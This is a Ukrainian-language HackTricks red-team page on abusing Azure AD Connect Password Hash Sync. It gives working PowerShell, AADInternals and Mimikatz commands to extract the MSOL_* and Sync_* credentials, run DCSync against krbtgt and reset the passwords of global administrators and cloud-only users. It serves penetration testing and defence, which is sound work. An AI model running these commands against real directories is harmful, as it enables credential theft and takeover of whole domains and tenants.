Az - PHS - Password Hash Sync

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Основна інформація

З документації: Синхронізація хешів паролів - один із методів входу, який використовується для досягнення гібридної ідентичності. Azure AD Connect синхронізує хеш, хешу, пароля користувача з локального екземпляра Active Directory до хмарного екземпляра Azure AD.

Це найпоширеніший метод, який використовується компаніями для синхронізації локального AD з Azure AD.

Усі користувачі та хеші хешів паролів синхронізуються з локального до Azure AD. Однак паролі у відкритому вигляді або оригінальні хеші не надсилаються до Azure AD. Більше того, вбудовані групи безпеки (наприклад, адміністратори домену...) не синхронізуються з Azure AD.

Синхронізація хешів відбувається кожні 2 хвилини. Однак за замовчуванням строк дії пароля та строк дії облікового запису не синхронізуються в Azure AD. Таким чином, користувач, чий локальний пароль закінчився (не змінений), може продовжувати отримувати доступ до ресурсів Azure за допомогою старого пароля.

Коли локальний користувач бажає отримати доступ до ресурсу Azure, аутентифікація відбувається в Azure AD.

Для функцій, таких як Захист ідентичності та служби домену AAD, PHS обов'язковий.

Перехід

Коли PHS налаштований, автоматично створюються деякі привілейовані облікові записи:

  • Обліковий запис MSOL_<installationID> автоматично створюється в локальному AD. Цьому обліковому запису надається роль Облікові записи синхронізації каталогу (див. документацію), що означає, що він має дозволи на реплікацію (DCSync) в локальному AD.

  • Обліковий запис Sync_<name of on-prem ADConnect Server>_installationID створюється в Azure AD. Цей обліковий запис може скидати пароль будь-якого користувача (синхронізованого або тільки хмарного) в Azure AD.

Паролі двох попередніх привілейованих облікових записів зберігаються в SQL-сервері на сервері, де встановлено Azure AD Connect. Адміністратори можуть витягти паролі цих привілейованих користувачів у відкритому вигляді. База даних розташована в C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf.

Можливо витягнути конфігурацію з однієї з таблиць, причому одна з них зашифрована:

SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;

Зашифрована конфігурація зашифрована за допомогою DPAPI і містить паролі користувача MSOL_* в локальному AD та пароль Sync_* в AzureAD. Таким чином, компрометуючи їх, можливо піднятися в привілеї до AD та AzureAD.

Ви можете знайти повний огляд того, як ці облікові дані зберігаються та розшифровуються в цьому виступі.

Пошук сервера Azure AD Connect

Якщо сервер, на якому встановлено Azure AD Connect, приєднаний до домену (рекомендовано в документації), його можна знайти за допомогою:

# ActiveDirectory module
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl

#Azure AD module
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}

Зловживання MSOL_*

# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Get-AADIntSyncCredentials

# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'

Ви також можете використовувати adconnectdump, щоб отримати ці облікові дані.

Зловживання Sync_*

Компрометуючи обліковий запис Sync_*, можливо скинути пароль будь-якого користувача (включаючи глобальних адміністраторів)

# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials

# Get access token for Sync_* account
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache

# Get global admins
Get-AADIntGlobalAdmins

# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId

# Reset the users password
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose

# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)

Також можливо змінювати паролі лише хмарних користувачів (навіть якщо це несподівано)

# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID

# Reset password
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers

Це також можливо витягти пароль цього користувача.

Ще одним варіантом буде надання привілейованих дозволів службовому принципалу, яке користувач Sync має дозвіл виконати, а потім отримати доступ до цього службового принципалу як спосіб підвищення привілеїв.

Плавний SSO

Можливо використовувати Плавний SSO з PHS, що є вразливим для інших зловживань. Перевірте це в:

pageAz - Seamless SSO

Посилання

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated